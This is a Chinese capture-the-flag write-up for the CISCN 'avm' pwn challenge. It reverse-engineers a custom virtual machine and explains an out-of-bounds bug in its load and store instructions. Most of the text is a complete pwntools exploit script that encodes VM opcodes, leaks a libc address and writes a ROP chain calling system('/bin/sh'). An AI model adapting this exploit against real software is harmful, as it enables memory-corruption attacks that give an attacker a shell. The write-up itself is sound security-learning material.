CCBCISCN初赛avm

逆向分析

逆向出来的结构体如图所示,结构还比较清楚,这里vm实现的是32个寄存器

main函数

vmRun函数,根据code来处理,然后执行func_list中的函数

实现的vm指令如下图所示,这里的add,sub,mul,div,xor,and,shr,shl这些都没有什么问题,漏洞出在load和store指令

漏洞分析

store指令

load指令

  • 主要漏洞在于store和load指令检查时只检查a1->reg[(v3 » 5) & 0x1F] + BYTE2(v3),执行指令时却是a1->reg[(v3 » 5) & 0x1F] + (HIWORD(v3) & 0xFFF) + a2,所以可以越界读写虚拟机的缓冲区s。于是可以通过load栈上残留获取libc地址,再经过计算构造rop链,通过store越界写到栈上返回地址处。
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *

context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x1A8F7)')
# p=remote('47.94.206.103',30756)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc

def dbg():
    gdb.attach(p,'b *$rebase(0x1A68)')
    pause()

#flag{d8523209-6c45-4350-b174-baf2149c9486}
pay=b''
def add(dst,src1,src2):
    global pay
    tmp=''
    tmp+=bin(1)[2:].zfill(4)+bin(src2)[2:].zfill(12)+'0'*6+bin(src1)[2:].zfill(5)+bin(dst)[2:].zfill(5)
    tmp=int(tmp,2)
    pay+=p32(tmp)

def sub(dst,src1,src2):
    global pay
    tmp=''
    tmp+=bin(2)[2:].zfill(4)+bin(src2)[2:].zfill(12)+'0'*6+bin(src1)[2:].zfill(5)+bin(dst)[2:].zfill(5)
    tmp=int(tmp,2)
    pay+=p32(tmp)

def shl(dst,src1,src2):
    global pay
    tmp=''
    tmp+=bin(7)[2:].zfill(4)+bin(src2)[2:].zfill(12)+'0'*6+bin(src1)[2:].zfill(5)+bin(dst)[2:].zfill(5)
    tmp=int(tmp,2)
    pay+=p32(tmp)

def shr(dst,src1,src2):
    global pay
    tmp=''
    tmp+=bin(8)[2:].zfill(4)+bin(src2)[2:].zfill(12)+'0'*6+bin(src1)[2:].zfill(5)+bin(dst)[2:].zfill(5)
    tmp=int(tmp,2)
    pay+=p32(tmp)

def load(dst,src1,src2):
    global pay
    tmp=''
    tmp+=bin(10)[2:].zfill(4)+bin(src2)[2:].zfill(12)+'0'*6+bin(src1)[2:].zfill(5)+bin(dst)[2:].zfill(5)
    tmp=int(tmp,2)
    pay+=p32(tmp)

def store(dst,src1,src2):
    global pay
    tmp=''
    tmp+=bin(9)[2:].zfill(4)+bin(src2)[2:].zfill(12)+'0'*6+bin(src1)[2:].zfill(5)+bin(dst)[2:].zfill(5)
    tmp=int(tmp,2)
    pay+=p32(tmp)

def quit(dst,src1,src2):
    global pay
    tmp=''
    tmp+=bin(11)[2:].zfill(4)+bin(src2)[2:].zfill(12)+'0'*6+bin(src1)[2:].zfill(5)+bin(dst)[2:].zfill(5)
    tmp=int(tmp,2)
    pay+=p32(tmp)

def func(value,reg):
    off=format(value, '032b')
    for i in range(len(off)):
        if(i==(len(off)-1)):
            if(off[i]=='0'):
                pass
            elif(off[i]=='1'):
             add(reg,reg,13)
            break
        if(off[i]=='0'):
            shl(reg,reg,13)
        elif(off[i]=='1'):
            add(reg,reg,13)
            shl(reg,reg,13)


load(12,0,0xdd8) #reg[12]=libc+off
load(13,0,0x0003d8) #reg[13]=1

# dbg()
func(0x029e40,14) 

sub(12,12,14) #reg[12]=libcbase


add(15,12,15)
add(16,12,16)
add(17,12,17)
add(18,12,18)
add(19,12,19)

#pop_rdi
func(0x2a745,25) 
add(15,15,25)

#binsh
bin_addr = 0x1D8678
func(bin_addr,26) 
add(16,16,26)

# #ret
# func(0x29139,27)
# add(17,17,27)

#system
system_addr = 0x50D70
func(system_addr,28) 
add(18,18,28)

store(15,31,0x118)
store(16,31,0x118+8)
store(18,31,0x118+0x18)

# dbg()
quit(0,0,0)
pay+=p32(1)
pay=pay.ljust(0x300,b'\x00')

p.sendafter('opcode',pay)


p.interactive()
  • 由于没有自增,而且本地和远程偏移不同,寄存器初始值都是0, 获取数字1比较困难。最后通过在opcode中自己加入一个1的方式获取,这样的偏移肯定是固定的。

  • 而libc地址的偏移也很奇怪,我试了多个本地能通过的偏移,远程都不行。最后获取栈上最远处的__libc_start_main中的返回地址,终于打通了远程。(要记住千万不要用栈上的ld偏移,本地能通的远程基本都不行,最好是用libc附近的值不要用ld附近的值)

最后打通